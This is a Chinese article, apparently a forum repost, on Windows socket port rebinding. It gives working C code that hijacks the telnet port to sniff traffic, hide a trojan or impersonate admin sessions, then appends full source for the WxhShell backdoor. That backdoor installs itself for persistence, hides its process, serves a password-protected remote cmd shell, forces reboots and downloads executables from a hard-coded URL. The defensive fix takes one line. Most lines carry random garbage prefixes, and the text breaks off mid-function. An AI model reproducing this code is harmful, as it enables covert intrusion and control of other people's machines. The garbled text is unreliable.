在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
gE1" .qC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/Q-!><riD /+u*9ZR&1 saddr.sin_family = AF_INET;
)8;'fE[p} bHCd|4e,2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Vq\6c tyh%s" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
IF=rD-x N@g+51ye 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'5%DKz `Oi@7/oT 这意味着什么?意味着可以进行如下的攻击:
i!NGX :.<&Y=^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
L@wnzt ag6S"IXh 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F&0rI8Nr #!2gxm;g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(w*$~p vd~O:=)4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x{m)I<.: 4[?Q*f! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ep5aBrN]" j[9B,C4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wP%;9y2B <:?&}'aA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X*T9`]l6 &("?6%GC #include
f: Rh9 #include
*M{1RMc #include
2}NfR8
N #include
M`(xAVl DWORD WINAPI ClientThread(LPVOID lpParam);
^JTfRZ:a int main()
?@~FT1"6G {
f*Kipgp WORD wVersionRequested;
R~`Y6>o~9: DWORD ret;
gVGq WSADATA wsaData;
G 6][@q BOOL val;
;BqX=X+# SOCKADDR_IN saddr;
E$cr3 t7Xy SOCKADDR_IN scaddr;
&HWH
UWB int err;
Y, P-@( SOCKET s;
7
ir T6O<. SOCKET sc;
}5~;jN=k int caddsize;
| c;S'36 HANDLE mt;
L2 I/h`n" DWORD tid;
7Qo*u;fr wVersionRequested = MAKEWORD( 2, 2 );
}Eav@3h6 err = WSAStartup( wVersionRequested, &wsaData );
P5N"7/PfW if ( err != 0 ) {
VAq:q8(K printf("error!WSAStartup failed!\n");
RR"#z'zQ return -1;
r
)T`?y }
;,viE~n saddr.sin_family = AF_INET;
:A[ Gtc(_ HjK|9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^3el-dZ '!_o`t@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
uuq?0t2Z saddr.sin_port = htons(23);
VR'w$mp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4o%hH {
toF@@% printf("error!socket failed!\n");
pRC#DHcHh return -1;
y"2c; *7[{ }
Iv{}U\ u val = TRUE;
a@%FwfIu //SO_REUSEADDR选项就是可以实现端口重绑定的
s#4
"f if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
V@$B>HeK {
7B'0(70 printf("error!setsockopt failed!\n");
Cnn,$R=/s return -1;
8J)x>6 }
O".#B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ZI8p(e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~sM334sQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zNBG;\W giI9-C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
UPbG_ #"wZ {
2+|[e_ ret=GetLastError();
oL<^m?-u printf("error!bind failed!\n");
&R 0BuFL8 return -1;
QII>XJ9 }
$Q?UyEi listen(s,2);
Lg'z%pi while(1)
Q 5Ln'La$ {
*{XbC\j caddsize = sizeof(scaddr);
A>X#[qx //接受连接请求
o<x2,uT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
p}C3<[Nk if(sc!=INVALID_SOCKET)
_Wgg=A"G {
jML}{>Gy8S mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-`rz[";n if(mt==NULL)
6CCM7 {
I+}h+[W printf("Thread Creat Failed!\n");
hGPjH=^EM break;
S:Hg
=|R }
zg)]: }
$PNR? CloseHandle(mt);
Wt_@ vs@.O }
{Bu^%JEn closesocket(s);
>ztv3^w WSACleanup();
A H`6)v<f return 0;
uYV#'% }
zV%U4P)Dao DWORD WINAPI ClientThread(LPVOID lpParam)
_m;Y' {
M*%iMz SOCKET ss = (SOCKET)lpParam;
63ht|$G SOCKET sc;
RsY|V|< unsigned char buf[4096];
y%43w4 SOCKADDR_IN saddr;
9HWtdJ+^C= long num;
'DVPx%p DWORD val;
x H\5T! DWORD ret;
!)ee{CwNc //如果是隐藏端口应用的话,可以在此处加一些判断
d6wsT\S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
$LKniK saddr.sin_family = AF_INET;
i/~A7\:8% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
x#'#
~EO-G saddr.sin_port = htons(23);
uQrD}%GI if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P.LMu {
vX&Nh"0H& printf("error!socket failed!\n");
%|4Nmf$:Og return -1;
a:1-n%&F }
j:rGFd val = 100;
$
-;,O8yR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5r@x$* >e {
ij/ |~-! ret = GetLastError();
@ 3FTf"#Y return -1;
![ Fb~Egc }
7?e*b(vd if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q0$}MB6 {
Xn4U!<RT" ret = GetLastError();
g;vG6!;E\ return -1;
OSxr@ }
C}#JvNyQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@"];\E$sI {
vTN$SgzfCU printf("error!socket connect failed!\n");
YS%HZFY, " closesocket(sc);
_r&`[@m closesocket(ss);
v 6Tz7 return -1;
!\2Xr{f }
8h}o5B while(1)
7@5}WNr {
9>%ti&_-jt //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
GVe[)R //如果是嗅探内容的话,可以再此处进行内容分析和记录
u1(`^^Ml //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Beqzw0 num = recv(ss,buf,4096,0);
Z_Hc":4i if(num>0)
YrFB~z.V send(sc,buf,num,0);
F:1w%#6av else if(num==0)
^ola5w D break;
k#&d`?X num = recv(sc,buf,4096,0);
wm!Y5 if(num>0)
gm\P`~+o send(ss,buf,num,0);
hgL wxJu else if(num==0)
{+!m]-s break;
*C Me:a }
~+7q.XL$$K closesocket(ss);
0DV
.1 closesocket(sc);
5_9mA4gs@ return 0 ;
V`m'r+ Y }
=Z2Cg{z ZXh6Se4o 4DaLmQ2O ==========================================================
9])dLL0 V)=!pT 下边附上一个代码,,WXhSHELL
iG^o@*}a O'*KNJX ==========================================================
@))PpE`co8 qlNK } #include "stdafx.h"
2r]80sWY B;@7 #include <stdio.h>
fczId" #include <string.h>
|gg6|,Bt4 #include <windows.h>
&;DK^ta*P #include <winsock2.h>
$i;%n1VBg #include <winsvc.h>
1
\:5ow&a #include <urlmon.h>
R<I)}<g(A3 Vf:/Kokq #pragma comment (lib, "Ws2_32.lib")
1Ue)&RW #pragma comment (lib, "urlmon.lib")
HN]roSt~ Y92wL} #define MAX_USER 100 // 最大客户端连接数
4"U/T1& #define BUF_SOCK 200 // sock buffer
O4dJ> O #define KEY_BUFF 255 // 输入 buffer
Q$^oIFb Ru9QQaHE #define REBOOT 0 // 重启
q' fZA; #define SHUTDOWN 1 // 关机
b*&AIiT Z9,-FO{#3- #define DEF_PORT 5000 // 监听端口
F[RQ6PW ^}fc]ovV #define REG_LEN 16 // 注册表键长度
CB]#`|f #define SVC_LEN 80 // NT服务名长度
^{lcj :c)N"EJlI2 // 从dll定义API
Fuq ;4UcbL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
V(3^ev/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?S9? ?y/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
fP# !ywgr% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+"Flu.+[' ""q76cx // wxhshell配置信息
589hfET struct WSCFG {
Dukvi;\ int ws_port; // 监听端口
\"Jgs. char ws_passstr[REG_LEN]; // 口令
"H\1Z,P<m int ws_autoins; // 安装标记, 1=yes 0=no
%/iD@2r char ws_regname[REG_LEN]; // 注册表键名
ova4 char ws_svcname[REG_LEN]; // 服务名
cNOtfn6?F char ws_svcdisp[SVC_LEN]; // 服务显示名
yq]= +X>( char ws_svcdesc[SVC_LEN]; // 服务描述信息
WR,MqM20 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Is57)(^.- int ws_downexe; // 下载执行标记, 1=yes 0=no
/enlkZx=8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!Lkk1zo char ws_filenam[SVC_LEN]; // 下载后保存的文件名
m[n=t5~ tqbYrF) };
-|V1A[ ZEa31[@B[ // default Wxhshell configuration
@
>_v/U' struct WSCFG wscfg={DEF_PORT,
p?rh+0wgX "xuhuanlingzhe",
a4aM.o 1,
Wg{ 9X#| "Wxhshell",
]t0]fb[J "Wxhshell",
W cOyOv "WxhShell Service",
*Cf5D6=Q "Wrsky Windows CmdShell Service",
{02$pO "Please Input Your Password: ",
c[VVCN8dA 1,
rZ`+g7&^Fh "
http://www.wrsky.com/wxhshell.exe",
,Y9bXC8+dU "Wxhshell.exe"
>V1vw7Pa };
+guCTGD: e7tp4M9!% // 消息定义模块
^IW5c>;| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
r)<c
~\0 7 char *msg_ws_prompt="\n\r? for help\n\r#>";
gOb"-;Zw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
M]|tXo$? char *msg_ws_ext="\n\rExit.";
PzF>yG[ char *msg_ws_end="\n\rQuit.";
jEh Px char *msg_ws_boot="\n\rReboot...";
&FrUj>i char *msg_ws_poff="\n\rShutdown...";
1?I_fA} char *msg_ws_down="\n\rSave to ";
YF8;s4 R|D%1@i] char *msg_ws_err="\n\rErr!";
*{y({J char *msg_ws_ok="\n\rOK!";
<tUl(q+ty lC.Q61 J@ char ExeFile[MAX_PATH];
BN7]u5\7 int nUser = 0;
Z=R 6?jU*n HANDLE handles[MAX_USER];
V_\9t8 int OsIsNt;
65 ]>6D43 A4{14Y;? SERVICE_STATUS serviceStatus;
) KvGJo)(" SERVICE_STATUS_HANDLE hServiceStatusHandle;
d!57`bVOd u~c75Mk_v // 函数声明
Q Uy7Q$W int Install(void);
LUaOp
" int Uninstall(void);
t]gZ^5 int DownloadFile(char *sURL, SOCKET wsh);
?i{/iH~Sf int Boot(int flag);
!(gMr1}w void HideProc(void);
R1C}S int GetOsVer(void);
(jmF7XfU int Wxhshell(SOCKET wsl);
WU$l@:Yo void TalkWithClient(void *cs);
v_|k:l int CmdShell(SOCKET sock);
H~$*R7~ int StartFromService(void);
1u8 k} int StartWxhshell(LPSTR lpCmdLine);
g{6FpuA|0 56JxHQu VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
z!s1$5:" 0 VOID WINAPI NTServiceHandler( DWORD fdwControl );
~n=oPm$pR 6L<Y // 数据结构和表定义
1S+lHG92I SERVICE_TABLE_ENTRY DispatchTable[] =
JIc(hRf9> {
O,PTY^ {wscfg.ws_svcname, NTServiceMain},
w%1-_;.aU6 {NULL, NULL}
;IOM3'5T@ };
B@j2^Dr~! P9
w);jp; // 自我安装
d%Ls'[Y^_0 int Install(void)
c/lT S {
gp+aUK~o char svExeFile[MAX_PATH];
KPjC<9sby HKEY key;
^]5^p9Jt"e strcpy(svExeFile,ExeFile);
k3+LP7|* 0gRm LX // 如果是win9x系统,修改注册表设为自启动
3ncN)E/@ if(!OsIsNt) {
;e)`Cv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;RK;kdZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&j}:8Tst RegCloseKey(key);
BaVooN~C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=28ZSo^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9^+E$V1@ RegCloseKey(key);
K+\2cf?bU return 0;
xs6kr }
eC3 ~| G_O }
'iWDYZ? }
8kLHQ0pmu else {
QXu[<V !$NQF/Ol // 如果是NT以上系统,安装为系统服务
w2SN=X~# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Z'UhJu D5 if (schSCManager!=0)
}Uu#N H {
}
fa SC_HANDLE schService = CreateService
p%R+ c (
+'/C(5y)0X schSCManager,
%p:Z(zU wscfg.ws_svcname,
z3c7 wscfg.ws_svcdisp,
\`0s %F:V} SERVICE_ALL_ACCESS,
)DGJr/) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
oFb~|>d SERVICE_AUTO_START,
.~C%:bDnX7 SERVICE_ERROR_NORMAL,
EK&";(x2( svExeFile,
|%oI,d=ycv NULL,
:6:,s#av NULL,
$0gGRCCG; NULL,
x1h&`QUP NULL,
R`J.vMT NULL
IISdC(5 );
GG`j9"t4 if (schService!=0)
_+j#.o> {
E!RlH3}) CloseServiceHandle(schService);
R=<%! CloseServiceHandle(schSCManager);
4,08`5{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=9h!K:,k strcat(svExeFile,wscfg.ws_svcname);
F/PH=Dk if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
T/FZn{I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T>pyYF1Q RegCloseKey(key);
iR"6VO return 0;
;X;(7 }
@\r2%M- }
~.>8ww CloseServiceHandle(schSCManager);
9k~%HN-[ }
d}y")q|F }
nYR#Q| G8zbb return 1;
}eF
r,bJ }
u#y#(1
= LzxO=+=9!q // 自我卸载
3Vbt(K int Uninstall(void)
{+]tx46$ {
&2Ef:RZF HKEY key;
$;&l{=e2) ;b(ww{& if(!OsIsNt) {
*+XiBho if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.4ZOm'ko{ RegDeleteValue(key,wscfg.ws_regname);
(xE |T f RegCloseKey(key);
q65]bs4M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5$$#d_Gj RegDeleteValue(key,wscfg.ws_regname);
?6]B6 RegCloseKey(key);
XS
#u/!
return 0;
p6aR/gFkqv }
7n?yf_je }
Z- t&AH }
t3!OqM else {
{\vVzy,t7 :T|9;2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
d"@ /{O^1 if (schSCManager!=0)
%NfXe[T {
3 yw$<lm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
CiGXyhh if (schService!=0)
`!spi=f {
=av0a! if(DeleteService(schService)!=0) {
;l1.jQh CloseServiceHandle(schService);
2;j<{' CloseServiceHandle(schSCManager);
9 *uK]/c return 0;
w3 kkam" }
A*vuS Qt( CloseServiceHandle(schService);
mP=[h
|a$r }
xjSzQ|k- CloseServiceHandle(schSCManager);
4"H*hKp }
rd<43 }
[V>s]c<4`o LF
@_|oI return 1;
PU[<sr#, }
^^zj4 }On? * nFzfV // 从指定url下载文件
e(N},s:_ int DownloadFile(char *sURL, SOCKET wsh)
BU4IN$d0Po {
3HBh
3p5 HRESULT hr;
Bz <I7h char seps[]= "/";
:8]8[ char *token;
mj&OZ+ char *file;
tGgDS) char myURL[MAX_PATH];
SO.u0! char myFILE[MAX_PATH];
j
RcE241 kG{};Vm strcpy(myURL,sURL);
Y 9|!=T% token=strtok(myURL,seps);
4'=Q:o*w` while(token!=NULL)
8zpzVizDG {
"\O7_od- file=token;
Yku6\/^ token=strtok(NULL,seps);
6PYm?i=p? }
z HvE_- [^?i<z{0C GetCurrentDirectory(MAX_PATH,myFILE);
Z'>UR.g strcat(myFILE, "\\");
;HH%OfQq strcat(myFILE, file);
`^,E4Q y send(wsh,myFILE,strlen(myFILE),0);
oH+PlL send(wsh,"...",3,0);
/Jc{aw hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8nu!5 3 if(hr==S_OK)
Pc =ei return 0;
FwlDP else
Nf<f}` return 1;
oe.Jm#?2. U65l o[ }
>Oj$Dn= TIZ2'q5wg // 系统电源模块
j~1K(=Ng int Boot(int flag)
AWi>(wk< {
<" nWGF4d HANDLE hToken;
W^h,O+vk TOKEN_PRIVILEGES tkp;
wn?oHz* BO4;S/ O if(OsIsNt) {
0 K#|11r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.B-b51Uz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!.X/(R7J tkp.PrivilegeCount = 1;
4K'U}W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%hN>o) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\1gAWUt(' if(flag==REBOOT) {
.`m|Uf#"
_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:d9GkC return 0;
K<:%ofB"S }
HZ%V>88 else {
y705 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LwRzzgt return 0;
q/ Y4/ }
jvsSP?]n }
\Db;7wh else {
&_-=(rK if(flag==REBOOT) {
w-ald?` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
.tLRY return 0;
v~Dobk/n }
F?R6zvive else {
?_d>-NC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U ->vk{v return 0;
APF`b }
8v2Wi.4T }
d;p3cW" #*.4Jv<R return 1;
+58^{_k+% }
.<>t2,Af ;"Qq/knVL // win9x进程隐藏模块
_g/d/{-{Q void HideProc(void)
>*gf1" {
SF*mY=1 &odQ&%X HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Zf}2c8Vc4 if ( hKernel != NULL )
W|@SXO)DY {
72xf|s= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
g]HWaFjc5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
TM{m:I:Z*n FreeLibrary(hKernel);
JS8pN5 }
)e PQxx Cj3Xp~ return;
9 c9$cnQ }
xj U0& hz;SDaBA // 获取操作系统版本
Od;k}u6;< int GetOsVer(void)
@HMH>;haE {
flqr["czwK OSVERSIONINFO winfo;
_ymSo`IvR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
cJq{;~ GetVersionEx(&winfo);
6x(b/`VW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@q<h.#9 return 1;
ym6Emf] else
sq#C|v/ return 0;
U:$zlfV }
n8!|}J cwaR#-# // 客户端句柄模块
B&X)bGx8
int Wxhshell(SOCKET wsl)
J+ :3==, {
6Zw$F3 < SOCKET wsh;
u;^H =7R struct sockaddr_in client;
}])j>E DWORD myID;
[7`S`\_NK UV;I6]$}A7 while(nUser<MAX_USER)
l2Py2ZI-b {
b_{+O qI int nSize=sizeof(client);
{)r[?%FMgV wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4%nK0FAj if(wsh==INVALID_SOCKET) return 1;
g=4P-i3 `O3#/1+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Om:Gun\% if(handles[nUser]==0)
1iR\M4?Frf closesocket(wsh);
#Qz9{1\G else
av(qV$2 nUser++;
7eM6 B#rI }
NxP(&M( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
!eX0Q 2 fzsy<Vl", return 0;
SUS=sR/N }
fG0 ?"x@> gZ @+62 // 关闭 socket
RGW@@ void CloseIt(SOCKET wsh)
.9~j%]q {
,H=k5WA4m closesocket(wsh);
!KHgHKEW^ nUser--;
uibmQ|AQ ExitThread(0);
XKp&GE@Y }
8^7Oc,:~ ug3\K83aj/ // 客户端请求句柄
09kR2(nsW/ void TalkWithClient(void *cs)
ww2mL
<B {
ztp|FUi e@D_0OZ SOCKET wsh=(SOCKET)cs;
">V1II
7 char pwd[SVC_LEN];
pH'_k k char cmd[KEY_BUFF];
^<I( char chr[1];
>pq~ &)^u int i,j;
@16GF!. rN0<y4)! while (nUser < MAX_USER) {
sJ6.3=
c F8pA)!AH if(wscfg.ws_passstr) {
=uP?
?E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(bwD:G9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B[b>T= //ZeroMemory(pwd,KEY_BUFF);
+kSu{Tc i=0;
(_FU3ZW! while(i<SVC_LEN) {
O(^h_ rT2Njy1 // 设置超时
xo>0j# fd_set FdRead;
"\4W])30 struct timeval TimeOut;
=2\2Sp FD_ZERO(&FdRead);
h}Otz " FD_SET(wsh,&FdRead);
`/O`%6,f1! TimeOut.tv_sec=8;
n!)$e;l TimeOut.tv_usec=0;
3H2~?CaJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S<Dbv? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;V,L_"/X eL3 _Lz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zxR]+9Zh pwd
=chr[0]; j=r1JV
@
if(chr[0]==0xd || chr[0]==0xa) { IeYYG^V<A
pwd=0; g~hMOI?KK^
break; 2`o
@L
} B+W7zv
i++; oE 'P
} 10SI&O
?I+L
// 如果是非法用户,关闭 socket 8dE0y P
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qTJhYxm
} (&}[2pb!
)Q 2IYCj{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gN/<g8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C;W@OS-;
OBi(]l}^O
while(1) { YR?Y:?(
T$;S
ZeroMemory(cmd,KEY_BUFF); g=Z52y`N<
gk6f_0?X'
// 自动支持客户端 telnet标准 1!z{{H;W
j=0; ifDWN*k6
while(j<KEY_BUFF) { nPyn~3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Zp&7hI
cmd[j]=chr[0]; juF9:Eah
if(chr[0]==0xa || chr[0]==0xd) { \.L jA_
cmd[j]=0; "J(M. Y
break; J!:BCjRdw
} ?eS;Yc
j++; YBt=8`r
} 64B.7S88
<>HtXn/
// 下载文件 x^ `/&+m
if(strstr(cmd,"http://")) { VYG@_fd!x
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <6UXk[y
if(DownloadFile(cmd,wsh)) PUR,r%K`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 63l3WvoK
else NLy4Z:&{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X4%uY
} ]?6wU-a
else { 8iIp[9~=
?+zFa2J
switch(cmd[0]) { T}fo
6KddHyFz
// 帮助 Ci`o;KVj
case '?': { Ark]>4x>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qPDNDkjDD
break; Xb"i/gfxt
} eoiz]L
// 安装 5,Fq:j)MxW
case 'i': { Skr(C5T
if(Install()) r#zcl)rbU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wAHuPQ&_Q
else JSL&`
`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I=!kPuw
break; @2E52$zu
} )Cy>'l*Og7
// 卸载 /a\i
case 'r': { jg]KE8(
if(Uninstall()) 5}%R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5zK,(cF0-
else 6kAAdy}ck
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =@U5/J
break; ,U""m7
} J
8
KiL
// 显示 wxhshell 所在路径 +La2-I
case 'p': { uE1;@Dm+
char svExeFile[MAX_PATH]; )+N{D=YM
strcpy(svExeFile,"\n\r"); o;@~uU
strcat(svExeFile,ExeFile); L3b0e_8>R
send(wsh,svExeFile,strlen(svExeFile),0); W&hW N9iR
break; wUaWF$~y
} #Th)^Is
// 重启 .i*oZ'[X
case 'b': { 7Fj8Mp|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -,yp?<
if(Boot(REBOOT)) Up@^C"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }u;K<<h:
else { m!ZY]:)$
closesocket(wsh); t?"(Zb
ExitThread(0); l`"?KD
} 9"#C%~=+
break; ^6 wWv&G[8
} )K[\j?
// 关机
h(=<-p@
case 'd': { ~cc }yDe
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r;{$x
if(Boot(SHUTDOWN)) B@*b 9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jg$<2CR&
else { 3CD#OCz7&
closesocket(wsh); !7DDPJ~
ExitThread(0); ;`oK5
} \Y!#Y#c
break; @ujwN([I
} /3M8;>@u
// 获取shell NK qIx
case 's': { b? o
CmdShell(wsh); x=cucZ
closesocket(wsh); $wAR cS
ExitThread(0); [mzed{p]]
break; Rq|6d
M6H
} #
>k|^*\
// 退出 G4'Ia$
case 'x': { P4@`C{F5m
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TVNgj.`+u!
CloseIt(wsh); nF'YG+;|@
break; ^i|R6oO_5
} l/={aF7+
// 离开 36Lkcda[
case 'q': { q;,lv3I
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,<IomA:q4
closesocket(wsh); Nf([JP% 4
WSACleanup(); 0Fb];:a
exit(1); 9)7$U QY
break; Go{,<
gm
} fJlNxdVr
} n5=U.r
} p{5m5x
t8-P'3,Q$
// 提示信息 S46aUkW.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O[VY|.MEk
} UF7h{V})
} f|,Kh1{e
2]vTedSOl
return; %)7t2D
} HaVhdv3L
j Mn,N9Mf
// shell模块句柄 yMWh#[phH
int CmdShell(SOCKET sock) }`gOfj)?i
{ ~5+RK16
STARTUPINFO si; YH\9Je%jx
ZeroMemory(&si,sizeof(si)); ~yJ 2@2I
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qt}M&=}8Q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >[Vc$[62
PROCESS_INFORMATION ProcessInfo; ;p+'?%Y}
char cmdline[]="cmd"; To(I<W|{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :\|A.#
U
return 0; V<UChD)N`
} J'Pyn
vS\ 2zwb}
// 自身启动模式 T[$-])iK
int StartFromService(void) -8^qtB
{ <-k!
typedef struct C7S\4rDJ
{ ,40OCd!
DWORD ExitStatus; ],SQD3~9
DWORD PebBaseAddress; Ysu\CZGX
DWORD AffinityMask; '$OUe {j<
DWORD BasePriority; 3A`Gx#
